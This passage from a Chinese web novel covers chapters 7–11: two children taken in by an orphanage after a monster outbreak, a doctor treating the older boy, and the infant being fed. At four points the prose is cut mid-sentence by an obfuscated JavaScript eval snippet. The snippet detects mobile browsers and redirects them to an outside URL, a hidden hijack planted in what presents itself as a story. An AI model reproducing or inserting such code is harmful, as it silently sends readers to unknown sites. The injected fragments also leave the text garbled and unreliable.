《人类幼崽求生日常》 7. 福利院 商砚辞对小乖身上的一些细微变化不是没有察觉。 只是,骤然变得危机四伏的医院将所有的好奇心与探究欲都压制住了。 淋漓的鲜血、破碎的血肉和诡异的怪物更是用一个个活生生血淋淋的例子提醒商砚辞,求生,才是排在首位的。 所以,这些微小的、隐藏在细枝末节之中的不起眼变化,就这样被商砚辞忽略过去。 况且,不忽略过去又能怎样呢? 不提周围那些虎视眈眈的怪物,只单论这些变化——小乖好像只是比之前反应得更快了一些、能听懂的词句更多了一些……值得在危急关头提出来单独讨论吗? 要知道,小乖本来就是一个小婴儿,处在生长发育的巅峰期——这些变化不是正常的吗? 那些犹疑与踟蹰,惶惑与不安,好像都只是商砚辞因压力太大而产生的一种虚假感觉,一种古怪的、冷不丁会刺你一下的感觉。 所以,商砚辞放弃探究了。 至少,我确定他是小乖。 彼时抱着书包躲在医院杂物间里的男孩想,我确定他是姨母怀胎十月生下来的小乖,确定他是我看着从小小一小团长成稍大一小团的弟弟——这就足够了。 就像是商砚辞从未去探究过许岁禾手臂内侧的银蓝色鳞片是因何而出现的,只想为他遮掩一般——只要许岁禾还是许岁禾,那商砚辞就是他最忠心耿耿、百死不悔的骑士。 只是,商砚辞也没有想到,不过是因为担心小乖身体而进行的一次常规检查,这些已经被他深深埋藏进心底的秘密会被再一次翻出、点破。 这个世界上,从不缺少聪明人。 商砚辞边将飘远的、控制不住地将一切变化都和那些银蓝色鳞片联系在一起的思绪扯回,边警告自己:永远不能小看任何一个人。 拿自己的自以为是去挑战另一个人赖以为生的职业,是愚蠢。 杭明良不知道面前这个沉默不言的男孩内心里的警醒与反思,只以为他是在忧虑许岁禾的身体,便笑着安慰道:“你不用太过担心。” “世界上没有两片完全相同的树叶,十个指头还有长有短呢,你弟弟和其他人有点不一样的地方也说明不了什么。” 并没有接触过世界另一面的杭医生心态良好,语调也是轻松的:“我之前实习的时候碰到过一个老爷爷,他年轻的时候就是高血压。医生都说他必须要吃药控制血压,可他一吃药,血压一下来,他就难受,不吃药血压高的时候反倒是健健康康的。他现在应该也有九十多了吧,还能每天围着公园走好几圈呢,一点事也没有。” “你别担心,你弟弟很健康……” “行了。”杭院长打断杭明良的念叨:“小小朋友没事,小朋友的伤口还没处理呢,你快给他看看。” “放心,我记得呢。”杭明良朝杭院长似模似样地敬了个礼,然后利索转身,去找碘伏纱布了。 杭院长无奈摇了摇头。 “对了。”还没走到药柜前,杭明良就想起什么,扭头看向刚把检查床上软乎乎的崽抱起来的商砚辞:“我知道之前可能是因为情况特殊,你才将小朋友放到书包里的,但是以后最好还是不要这样做了。” 说到这里,青年医生神色严肃:“书包底部没有支撑,是软的。小孩子骨头未长成,哪怕你心里惦记着,总注意着,可总也有疏忽的时候。稍一不小心,颠簸到了某些位置,就容易受伤。” “这一次你弟弟没有出什么问题,是他运气好,可你千万不能因此而心存侥幸。” 他想了想,又道:“如果再遇到这种情况,你可以用布条将你弟弟捆在身上,虽然也有受伤的可能,但总比你把他放在书包里强。” 商砚辞认真听完,仔细记下后,感激道谢:“谢谢杭医生。” “没事。”杭明良潇洒一挥手,转身继续去准备药品了:“你先在凳子上坐一会儿,我马上就好。” 商砚辞听话地抱着许岁禾坐在塑料凳上。 刚刚被白大褂鉴定完毕,并颁发合格证书的人类幼崽脸上泪痕已干,正窝在哥哥怀中,眨巴着圆乎蓝眼睛好奇地东瞧西瞅。 那探头探脑的小模样,跟刚出生不久就跃跃欲试想要出洞玩耍的毛绒小奶虎似的。 杭院长坐在一旁看着,忍不住笑了,温声逗弄道:“小小朋友叫什么名字呀?今年几岁啦?” 许岁禾闻声,歪头朝杭院长看去。 他不认识这个慈祥的老奶奶,但是能感觉到她身上那些温柔的善意。 很舒服。 于是,哪怕听得半懂不懂,小家伙还是朝杭院长咧开小嘴,甜甜地笑了起来。 “呀~” 不过,还没明媚灿烂多久,有人搭理的小家伙就迅速记起了哥哥干的坏事! “呜呜啊——!” 哥哥坏蛋,饿着崽! 他宁愿和其他人说话,都不来喂崽!! 许岁禾鼓着白嫩的包子脸,咿咿呀呀地告状,小表情灵动又可爱,显然没辨认出,杭院长就是那个和哥哥说话的‘其他人’。 虽然婴言婴语听不懂,但在场几人单从小家伙那活灵活现的小表情上面,就大致弄明白了他的意思。 “这是在告状呢。”杭院长失笑:“是在说你哥哥把你装进书包里面的事吗?” “这可不能怪你哥哥,他是为了保护你。”白发苍苍的长者温和笑着,和小小朋友讲道理的声音耐心又宠溺。 ——就像是动画片里慈和又不失公正的老祖母。 商砚辞被刺到似的,轻轻垂下眼睫。 “杭奶奶,我叫商砚辞,今年八岁了。”他沉默了会儿,低声道:“小乖大名叫许岁禾,是一个很乖很乖的小朋友。” “好,杭奶奶记住了。”杭院长笑着应下。 她明显从两个孩子之间的相处方式中看出了点什么,却包容而温柔地掠过,只是道:“直接叫名字太生疏了,我就叫你小辞,叫小小朋友小禾吧。” 商砚辞抱着许岁禾的手臂微紧,默默点头。 “那我也这么叫了。” 杭明良端着个托盘走过来,笑着插话:“杭院长,还是您有办法,不一会儿就和两个小朋友混熟了。” “别耍贫嘴。”杭院长无奈地用手指点了点他:“赶紧干活。记得轻点啊,别弄疼了我们小辞。” “诶呀,我办事,您放心。” 杭明良放下托盘,用手背往上托了下眼镜,然后一脸严肃地看向坐在塑料凳子上的男孩:“但是小辞啊,你可别什么都听你杭奶奶的,处理伤口肯定还是有点疼的。” 杭院长对杭明良这家伙实在无可奈何,只得摇了摇头,叹气:“你呀……” 商砚辞被医务室中蔓延开的这股轻松气氛感染,神情忍不住放松下来:“杭医生,我知道。” “那就好。” 玩笑话说完,就该干正事了。 杭明良严肃了神色,刚把商砚辞额角的发丝拨到一旁,一直忽闪着水润蓝眼睛听他们说话的小胖崽却不干了。 “呀!” 许岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828462|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾肉乎乎的小胖脚丫翘翘,盯着哥哥额角的伤口,又叫了一声:“呜?” 见此,杭明良把发丝迅速固定住,然后就放下了手,将空间留给兄弟俩沟通。 商砚辞感激地看了眼杭明良,而后垂眸去看一双透亮圆眼中满含困惑与担忧的许岁禾。 “哥哥没事,一会儿包扎完就好了,小乖不担心。” “呀?” 真的吗? 雪白小汤圆鼓起脸颊上的软肉肉,明亮蓝眼睛里写满了怀疑。 “真的。”商砚辞面不改色:“小乖相信哥哥。” “嗷。” 好吧。 许岁禾信了,但还是伸出小胖爪抓住哥哥的一根手指,紧紧攥住。 商砚辞微愣,然后笑了起来:“那小乖监督哥哥。” 小家伙歪歪脑袋,没反应。 看来是没听懂。 商砚辞心中好笑又柔软,像是被人往胸膛里塞了朵云,微微鼓胀的感觉令他不由自主地沉迷。 见两个小朋友沟通好了,杭明良就开始处理伤口。 为了更好地处理伤口,商砚辞微微侧仰着头。许岁禾躺在他怀里,其实是看不到什么的。 但小家伙还是很坚持。 杭明良处理了多久,胖嘟嘟的小奶娃就睁着一双漂亮蓝眸看了多久,认真又乖巧的小模样,任何人看了都会心软得不行。 商砚辞尤甚。 杭明良刚将最后一块医用胶布固定好,说了句“可以了”,他就忍不住低头,轻轻摸了摸许岁禾弧度圆润的脸蛋子:“小乖是世界上最乖最棒的小朋友。” 没听懂但知道是夸夸的小奶娃眼睛弯成月牙,露出可爱的无齿笑容。 “这几天伤口不要碰水,少吃辛辣刺激的食物。”杭明良笑着等兄弟俩互动完,才嘱咐道。 商砚辞点头应下。 他怀里的小胖崽也好似从哥哥的动作中看出来什么,呜呜啊啊地挥了挥小拳头,像是在说“我会监督他哒!” 杭院长和杭明良都忍不住笑了。 “那就麻烦我们小禾小朋友啦。”杭明良轻轻揉了揉小家伙细软乌黑的头毛。 “既然伤口已经处理好了,小禾的身体也是健健康康的,没出现什么问题,那我就先领着他们回宿舍休息了。”杭院长开口说道。 杭明良:“好。” 商砚辞便抱着许岁禾站起来,跟在杭院长身后朝外走去。 “等等——” 商砚辞和杭院长还没走出医务室,杭明良就拿着一顶小帽子追了上来:“小孩子囟门未闭合,最好还是戴个帽子。” 说着,他把手里的帽子递给商砚辞:“这是新的,还没有人用过的。要不是看到你们要走,突然记起来了,我都忘记我还买过这种小帽子了。” 商砚辞没有拒绝,谢过杭明良后,就接过帽子给许岁禾戴上。 帽子是浅蓝色的,上面绣着一只吐着舌头笑得可爱的雪白小萨摩耶,戴在懵懵懂懂的小胖崽头上,衬得他越发天真稚气。 杭院长看着,不由得点头:“很合适。” “呜嗷——” 许岁禾也很喜欢这个小帽子,胖脚丫晃晃,弯眸甜滋滋地笑起来。 明媚阳光透过刚刚打开的屋门缝隙溜进来,为怀中软乎乎的小家伙染上一层浅浅金色。 商砚辞低眸瞧着,突然觉得小家伙的笑容和帽子上绣着的那只小萨摩耶极其相似。 于是,他情不自禁地弯了弯唇角:“嗯,很合适。” 8. 福利院 福利院两侧高楼林立。 阳光斜斜洒落时,巍峨的高楼便在地面上投下阴凉的影子。 商砚辞抱着戴上小帽子后喜滋滋乐呵呵的小胖崽,跟在杭院长身后,踩着高楼投落的影子,向宿舍走去。 “在你们还没出发时,绥禧妇产医院那边就给我们打来电话,提前告知了将要送过来的孩子数量。” 杭院长放慢脚步,和商砚辞并肩而行:“因为时间紧迫,我们当时是按照人数准备的宿舍。” 商砚辞微怔。 “杭奶奶……”想到自己先前的做法,他有些歉意地看向杭院长。 “我没有责怪你的意思。”杭院长眸光和蔼:“我知道,你是一个好孩子,这么做肯定是有苦衷的。” “我说这些,是想问问你,你愿不愿意和姜旻一起住?” 姜旻? 商砚辞想起之前在福利院门口遇到的那个突然喊出声,将他的计划全部打乱的小胖子,迟疑稍许,问道:“他现在住的宿舍里面还有空余位置?” 杭院长笑着摇摇头:“不全是因为这个原因。” 她看向前方不远处宿舍楼前那片空荡而安静的场地,轻声道:“小辞,你很聪明。我想,你在送你们过来的车上,就已经猜出来了我们这里在接收孩子时,强调的一些要求。” 商砚辞把怀里的小家伙轻轻往上托了托,没出声,只认真而沉默地聆听着。 倒是听得一脸懵懵然的许岁禾,明明没听懂几句,一双水汪汪的蓝眼睛却仍旧像是藏满了星星,目光专注又好奇地盯着杭院长,跟围在人脚边转圈圈、摇尾巴的小奶狗一样,格外讨人喜欢。 杭院长自然也不例外。 她被这只眼巴巴的小胖崽逗笑,轻轻摸了摸圆脸蛋后,声音愈发温和:“康安儿童福利院从建立开院到现在,已经有了些年头。因为设施老旧,人手也不是很充足,所以,我们接收的大多是一些已经有了基本自理能力的孩子。” “可是,小辞,有基本自理能力的孩子也是孩子,他们也会哭闹,也会控制不住情绪。” 杭院长目光慈爱地看了眼懵懵懂懂的许岁禾,耐心道:“小禾太小了。虽然他很乖,但有些时候,小孩子的一些正常生理反应是无法避免的。” “他半夜饿了,难受了,就是会哭、会闹。这既是在提醒我们,也是在保护他自己。毕竟他不会说话,没有办法说清楚自己不舒服的地方,只能用哭闹来提醒我们。” 走出高楼投落的影子,安静沐浴在盛夏日光中的宿舍楼便到了。 杭院长望着那座已经沉默矗立数十年的三层小楼,目光微微复杂:“福利院的宿舍是四人间,大部分宿舍都已经住满了孩子。你必然是要和小禾住在一起的,我们也不会强行把你们两个分开。” “只是,这样一来,既有合适的空余床位,宿舍里的舍友性格又是开朗友善的,不会因为小禾年龄小、半夜哭闹便生气不满……细细数来,就只有姜旻所在的那间宿舍了。” 说到这里,杭院长忍不住叹息:“小辞,我知道,这样的安排对你、对姜旻,其实都是很不公平的。” “可是康安儿童福利院曾在浔海市灾控应急中心登记过,这次安排过来的孩子数量和福利院剩余的床位数量相差无几……所以,小辞,我们现在很难再腾出一间空宿舍。” 杭院长停下脚步,看向商砚辞:“小辞,你放心,姜旻是一个好孩子。他虽然有些鲁莽,但心却是好的。他之前因为一些原因,单独住了一间宿舍。现在你和小禾住进去,正是合适……可以吗?” 商砚辞看着面前这位耗费时间与口舌,耐心为他解释许多的和蔼长者,漆黑冷锐的瞳眸中泛起一抹复杂。 “我明白的,杭奶奶。”男孩抱紧怀中软乎乎的崽,低声道:“我没有意见……谢谢你愿意收留我们。” “谢什么?”杭院长眸色温和地笑了笑,说道:“不用谢,既然决定要让你们留下,那这些就都是我应该做的。” “况且——”她侧眸看向商砚辞怀里仰着小肥脸,左看看右瞧瞧,目光始终没从他们脸上移开过的许岁禾,笑道:“我们小禾这么乖巧可爱,我见了就欢喜。而且他还这么小,年幼稚弱,我多考虑一些是应该的。” 商砚辞闻言,也顺着杭院长的视线,低头看向怀中崽。 突然成为目光焦点的许岁禾:? 他迷茫地歪歪脑袋:怎么啦?你们说完话啦? 一想到这儿,小家伙立即兴奋起来。 “啊呜呜!” 香香软软的奶团子挥舞着两只短胖小手,一双蓝汪汪圆眸睁得大大的,两腮的奶膘都随着动作一颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828463|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抖,激动之情可见一斑。 商砚辞不由得困惑。 “小乖?”他把许岁禾举高:“你怎么了?是哪里不舒服吗?” 说到最后,男孩神色忍不住紧张起来。 “嗷?” 许岁禾奇怪地看了眼突然变了脸色的商砚辞,眨巴眨巴蓝眼睛,慢慢陷入思索。 他说话,然后哥哥也说话…… 哥哥还把他举高了! 嗯……所以哥哥这是弄明白他的需求了吗? 哇——那他是不是很快就能吃上饭饭啦? 小家伙圆眸一亮,立即殷殷切切地看向商砚辞。 商砚辞:? 他看着小脸白里透红的崽,实在摸不清楚情况,只得询问杭院长:“杭奶奶,要不我们再去一趟医务室吧,小乖情况好像有点不对劲。” 许是旁观者清,杭院长观察着许岁禾的一系列反应,心里倒是有了个猜测。 于是,她问:“小辞,小禾上一次喝奶是在什么时候?” 商砚辞一愣。 眼眸微微睁大,男孩若有所悟,神色不由得染上几分赧然:“我不知道。” 污染爆发时,他刚从少年宫回到绥禧妇产医院,书包都还没放下呢,自然也不清楚许岁禾上一次喝奶的时间。 杭院长对此并不意外,也没有什么责怪的意思。 她知道,商砚辞已经做得很好了。 他同样还是个孩子,却在灾难突然降临时,勇敢地站了出来,保护着咿呀学语的弟弟…… 他已经做得很好了。 想着,杭院长眸光愈发慈爱:“没事,不知道也没关系。” 她垂眸看向随着他们说话时间渐久,小胖脸上慢慢染上困惑之色的崽,轻声道:“我记得食堂里一直有备着奶粉,我领你们过去吧。” “好。”商砚辞点头。 康安儿童福利院的食堂就在宿舍楼后面,很近,几分钟就到了。 可也就是这几分钟,殷切小崽变成了炸毛小崽。 “啊呀!” 等呀等呀等,却始终连个奶瓶盖都没瞧见的许岁禾小奶音超级愤怒! 怎么回事?! 崽还在书包里时就张口要饭,出了书包还在张口要饭! 崽吃一口饭就这么难嘛?! 9. 福利院 许岁禾是一只通情达理、深明大义的崽。 先前白大褂在哥哥头上左涂涂右抹抹时,他虽看不懂,但周围人的态度告诉他,这件事很重要。于是,小家伙连脚丫都不晃悠了,只睁大一双漂亮蓝眼睛,眼巴巴盯着。 后来,哥哥跟满身善意的老奶奶说话,许岁禾仍是茫然,半懂不懂的,却也不吵不闹,只仰起小脸乖乖聆听。 直到哥哥忙完了,看过来了,小家伙才支棱起来,呜呜呀呀地开口——崽就是单纯地想要一口饭吃。 可是崽都这么乖了,哥哥竟然还晾着崽!! 越想越气,气成河豚的许岁禾实在忍不住,小爪子一挥,鼓着肥肥的肉腮帮开始大声谴责:“啊呀!” 坏蛋! “呜嗷嗷!” 我要吃饭! “嗷嗷!” 吃饭!!! 气鼓鼓的小家伙把自己全部的词汇量都用上了,啊呜呀嗷地瞪圆剔透无瑕的蓝眸,像一只炸了毛的小虎崽子,张牙舞爪,努力捍卫着自己吃饭的权利! 周围环境逐渐改变。从屋外到屋内,灿烂的日光被厚实的门板挡住,凉风拂面,盛夏的酷热似乎也随之散去,很是舒适。 但许岁禾不在乎。 他只关心自己的饭饭! 小胖虎再一次亮开嗓门,只是这次,刚开了个头,音调就忽地拐了个弯。 “嗷——?” 尾音上扬,满含迷惑。 什么东西? 看着眸含期待的兄长,许岁禾眨巴眨巴圆眼,好奇地舔了舔突然被送到嘴巴边的东西。 甜的! 小家伙蓝眸一亮。 虽然这个味道好像和他之前吃的饭饭有些不同,但是一样好吃诶。 一点也不挑食的许岁禾立即吧嗒吧嗒舔了起来,小胖脚丫都愉快地晃了晃。 不过,快乐的时光总是短暂的。 容量有限,很快,‘甜水’便空空如也。 努力了半天却什么也没舔到的小家伙震惊地仰头去看兄长:这就没啦?! 胖乎乎小奶娃的神色过于生动,商砚辞瞬间就理解了他的意思。 怕呛着年幼稚弱的弟弟,特意选用的最小号勺子的男孩无奈叹气:“小乖不要着急,米汤还有呢。” 说着,他再舀起一勺米汤。 不过这一次,他没仅是放在许岁禾唇边,而是试探性地、小心翼翼地往里送了一些。 许岁禾接受良好。 头顶仿佛有一对无形的毛绒三角耳快乐竖起,浑身都散发着欢快气息的小家伙再一次愉快地喝起‘甜水’。 商砚辞看着怀里跟小猫舔水似的,正努力喝着米汤的弟弟,黑眸中不由得漾起细碎笑意。 他耐心地一勺又一勺喂着,可没过多久,许岁禾就小脑袋一歪,不喝了。 “小乖?”商砚辞不解:“你这就饱了吗?” 他看向桌上那一小碗根本没消失多少的米汤,神色犹疑:“……还是不喜欢喝米汤?” 可是刚才还喝得可欢了呢,头顶都好像开满了快乐小花花。 许岁禾噘着嘴,哼哼唧唧。 累! 这次吃饭饭怎么会这么累啊? ‘甜水’为什么不能和以前的饭饭一样,直接全部送进嘴巴里? 居然还要崽费劲去舔! 不高兴的小家伙扑腾扑腾短胳膊短腿,漂亮软乎的包子脸上,小表情委委屈屈。 商砚辞立即心软了。 虽然他还是有点困惑,但在委委屈屈的崽面前,这点困惑立即变得无足轻重起来。 “不喜欢就不喜欢,没关系的。”他轻声哄崽:“小乖再等等,奶粉一会儿就冲好了。” * 奶粉确实很快就冲好了。 方才商砚辞和杭院长走进食堂时,食堂里的工作人员正在备饭端菜。 事多物杂,他们一个个脚底生风,忙得像陀螺似的,恨不得长出八条手臂。 杭院长没有打扰这些忙碌的工作人员。 她先是让商砚辞坐下,然后熟门熟路地从一个大铁桶里盛出来一小碗米汤,放在商砚辞身前的桌子上。 “小辞,你先给小禾喂一点米汤,垫垫肚子,我现在进后厨去找奶粉。” 商砚辞看看怀里脸鼓得圆圆的生气胖崽:“好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828464|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “筷子和勺子都在那里。”杭院长又指了指不远处的推车式筷子消毒机:“你自己拿,我先过去了。” 待商砚辞应下,杭院长看了眼还处在气呼呼状态之中,完全没注意到桌上米汤的许岁禾,慈爱地笑了笑,没再耽搁,转身走进忙得热火朝天的后厨。 杭院长对后厨并不陌生。在商砚辞耐心喂崽的这段时间里,她不仅找到了奶粉,还发现了一个没用过的干净奶瓶。 刷奶瓶,接热水,杭院长很快就把奶粉冲好,走出后厨。 然后,她就看见了抱着崽眉间微带苦恼的男孩。 “小辞?”杭院长疑惑:“小禾吃饱了?” “应该没有。”商砚辞拧眉:“但是不知道为什么,我把米汤递到小乖嘴边,他也不吃。” “……递到嘴边?”杭院长迟疑稍许,想到什么,问:“你没有喂进去吗?” “喂进去了一点。”商砚辞解释道:“小乖这么小,我不敢有太大的动作,怕呛到他。” “……” 看着眸中满是不解的男孩,杭院长无奈:“小禾是小,但这并不代表他不会吞咽啊,你一小勺一小勺地喂,不会呛到他的。” 商砚辞闻言,垂眸看向怀中小脸上还带着点不高兴的崽。 澄净剔透的蓝眼睛,又长又翘的睫毛,粉嫩饱满的小嘴巴。 很可爱。 也很脆弱。 “会呛到的。”年龄尚小却已初见俊朗之色的男孩摇摇头,眸底藏着一抹执拗:“小乖很脆弱。” 杭院长看着他,微微叹了口气。 她没再说什么,只是将奶瓶递过去:“那就先用奶瓶吧,小禾之前是不是也用奶瓶?” 商砚辞点头。 他接过奶瓶,试了一下温度,然后才将奶瓶拿给许岁禾。 许岁禾一看到奶瓶,就移不开眼了。 小眼神晶亮又热切,像只嗷嗷待哺的小鸟球,软绒绒的小翅膀扑扇着,甚是迫不及待。 等兄长把奶瓶递过来,这只饿了许久的人类幼崽更是四肢并用,十分虔诚地抱住奶瓶,嗷呜一声啃了上去。 饭饭! 香! 10. 福利院 咕咚咕咚大口喝奶的许岁禾直到肚儿溜圆,才心满意足地松开奶瓶。 “呀~” 饱啦~ 吃饱喝足的小家伙扑扇着浓长眼睫,一双蓝汪汪大眼睛满含亲近与欢喜地看向自家兄长,像只热情且直率的坦诚小狗,无形的尾巴摇得飞快。 先前心里积攒的那点小委屈、小别扭,都已经随着喝进肚儿的奶,消失啦。 十分好哄.jpg 被怀里这只超容易满足的快乐小崽感染,商砚辞眸中禁不住泛起笑意。 他拿过还剩下一个瓶底没喝完的奶瓶,轻轻放到一旁桌上。 “嗒。” 奶瓶和不锈钢桌面接触,发出一声轻响。与此同时,软乎乎的小奶音也欢快响起: “嗷~” 紧接着,乌发雪腮的漂亮崽伸出莲藕般白嫩胖乎的短胳膊,殷殷切切地去够兄长从身前横过的手臂。 “?” 商砚辞迟疑一瞬,而后便放松了肌肉,甚至还不动声色地将手肘往下压了些距离。 嘿! 抓住啦! 费劲吧啦好一番,终于成功将两只胖爪爪搭在了哥哥小臂上的许岁禾蓝眸晶晶亮,然后,他使出了吃奶的劲儿,笨拙地、一点一点地将哥哥的手臂往怀里拖。 成功将哥哥的手臂拖到怀里抱住的那一刻,许岁禾就像是一只第一次出窝便得胜而归,捉了只比自己还要大的猎物的骄傲小猫。 那昂首挺胸翘尾巴的小模样,实在是让人指尖微痒。 商砚辞瞧着小家伙包子脸上的甜甜笑容,唇角微弯,刚想夸赞,却见小家伙再一次嘿咻嘿咻地动了起来。 “呀——” 小胖爪抓住商砚辞的手指,用力往圆圆脑壳上扯。 “?”商砚辞着实有点摸不着头脑。 他垂眸看向忽闪着水润大眼睛的小圆崽。 小圆崽无辜而天真烂漫地回视。 倏然,恍若闪电划过夜空,商砚辞顿然醒悟。 “摸摸头?”他问。 许岁禾闻声,歪歪脑袋,盯着兄长看了会儿,慢慢地,蓝眼睛里漾开一抹迷惑。 ——明显没听懂。 商砚辞还没来得及叹息,没搞懂兄长意思的崽就嘴巴一噘,继续未完成的工作。 “好啦好啦,我明白了。”商砚辞忙压住许岁禾忙忙碌碌的两只爪爪。 动作忽然被阻的许岁禾不满:“呜!” “马上就好,小乖等一等。” 商砚辞小心地将手指从许岁禾软绵绵的小巴掌里抽出,边低声安慰着,边取下崽头上戴着的帽子,轻轻揉了揉柔软乱翘的黑发。 终于得到兄长温柔摸摸的小家伙立即安静下来,眼神亮晶晶地望着兄长。 商砚辞弯唇,喜爱打趣的话语都已经到了嘴边,可他却在看清许岁禾眼眸那一刻,蓦然失语。 商砚辞一直知道,许岁禾有一双漂亮的蓝眼睛。 澄澈而纯净,带着小孩子特有的懵懂天真,仿佛是世界上最珍贵无瑕的宝石,不含丝毫杂质。 商砚辞被这双漂亮的蓝眼睛看过许多次,可他却从未像这一次这般,认真回视。 所以,他从来也不知道,原来当这双漂亮的蓝眼睛里映出他的身影时,其中蕴藏的情绪是如此的信任,与依恋。 那是世界上最珍贵无瑕的宝石也比不上的,童话般的美好。 * 许岁禾在食堂填饱了肚子,商砚辞在食堂收获了一只奶瓶和一罐奶粉。 两小只都十分满意这一次的食堂之旅。 将奶瓶和奶粉放进杭院长提了一路的、原本用来装崽的深蓝色书包中,商砚辞拉好拉链,准备跟着杭院长继续完成中途被打断的宿舍楼认路一事。 “先不急。”看出商砚辞的心思,杭院长开口道:“小辞,你也奔波一路了,在食堂吃口饭再回宿舍吧。” 商砚辞神情微动。 是啊,他和小乖一样,一直未曾吃过东西。 可他竟然一点也没有感觉到饿。 甚至若不是杭院长提起,哪怕身处食堂,鼻间饭菜香气萦绕,他都没有朝这方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828465|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 不是那种因为情绪波动而导致的胃口不佳,商砚辞莫名笃定,他就是单纯地不饿。 但是……怎么可能呢? 在姨母的教导下,他一向三餐规律。 今天他不仅没有吃午饭,还抱着沉甸甸的小乖一路躲藏、奔逃……这已经远远超出了他平时的运动量。 他应该早就已经感觉到饿了。 还有,他为什么不累了? 之前在绥禧妇产医院,在怪物的追杀之下奔逃时,那种肺部胀满双腿沉重的感觉仍是记忆犹新。可现在,他呼吸顺畅动作灵活,一点残余的酸痛都没有。 ……不对劲。 商砚辞眸色稍深,心中忍不住泛起浓浓疑虑。 “小辞?”许久没有得到答复的杭院长神情关切:“你可是有哪里不舒服?头晕吗?” 她担忧地看了眼男孩额角伤口所在的位置。 “杭奶奶,我没事。”商砚辞迅速将脑海里翻涌的思绪压下,说道:“我就是在想,这里的食堂是直接到窗口打饭就可以了吗?” 他下意识将自己的疑虑隐瞒了起来。 这些疑虑和小乖身上突然出现又消失的鳞片一样,都是不能让其他人知晓的。 莫名地,商砚辞心头闪过一抹笃定且郑重的念头。 “没错,直接去打饭就行。”杭院长和蔼地笑起来,给他解释道:“我们福利院是有固定的三餐时间的,食堂不到时间不开门。你今天刚来,又饿了许久,可以先吃,但以后可就得遵守纪律,按时来吃饭。” “嗯,我知道了。”商砚辞点头。 “你去打饭吧。”杭院长笑着看向睁着水汪汪圆眼好奇地东瞅西瞧的许岁禾:“我帮你抱一会儿小禾?你放心,我之前照顾过小禾这么小的孩子,还是有一些经验的。” 商砚辞犹豫了一下,低眸望向怀中的糯米团子。 小糯米团子恰好也朝他看过来。 漆黑眼眸与圆润蓝眸相撞。 许岁禾歪歪圆滚滚的小脑袋:“嗷?” 怎么啦? 11. 福利院 听不懂嗷呜叫的兄长看着他家目前只会嗷呜叫的崽。 崽懵懵然,再一次:“嗷?” 然后,崽就戴上了他心爱的小帽子,被兄长暂存到了杭院长那里。 当然,这绝对不是因为崽嗷嗷叫,而是——他太能扑腾了。 好不容易吃饱喝足的小家伙有着一身使不完的劲儿,漂亮清湛的蓝眼睛晶亮,胖胳膊胖腿左翘翘、右晃晃,明明连翻身都还没学会,那一股子迫不及待想要满世界撒欢的活泼劲儿就已经溢满眉梢。 商砚辞并不觉得这样有什么不好。 只是,如此一来,他要是抱着小乖吃饭的话……就会有点苦恼。 毕竟小乖还是很有劲儿的,那胖乎乎的小脚丫一踢,万一就是那么巧,正好踢到了拿着筷子的手臂上,饭菜撒了出来,岂不是会烫到小乖? 商砚辞一想到这种可能,眉毛立即拧了起来。 思来想去,他还是觉得把崽交给杭院长能更放心一些。 反正只有吃饭这一会儿。 所以,许岁禾才会被兄长暂存过去。 绝对不是因为嗷嗷叫!! 胖崽严肃强调! 另一侧,软乎乎的小奶娃刚一入手,杭院长便忍不住笑了。 “我们小禾还是有一些重量在身上的。” 她眸蕴笑意,语气中带着点调侃意味。 许岁禾瞅着这位慈祥和蔼的老奶奶,蓝眼睛眨巴眨巴,突然乖乖巧巧地“呜呀~”了一声。 “诶呦,这是在和我打招呼吗?”杭院长眼中闪过一抹惊喜:“我们小禾怎么这么乖啊?” 似是知道杭院长在夸自己,小家伙胖脸蛋一扬,圆圆蓝眸弯成月牙,甜津津地笑了起来。 简直像一块刚出蒸笼的、软软糯糯的小糖糕。 杭院长被小糖糕笑得心都软成了一片,忍不住再一次感叹道:“我们小禾真乖。” 杭院长和许岁禾互相熟悉彼此时,商砚辞就站在一旁安静地观察。 一开始,他时刻警惕着,准备小乖一变脸,就立即把小乖抱回来。 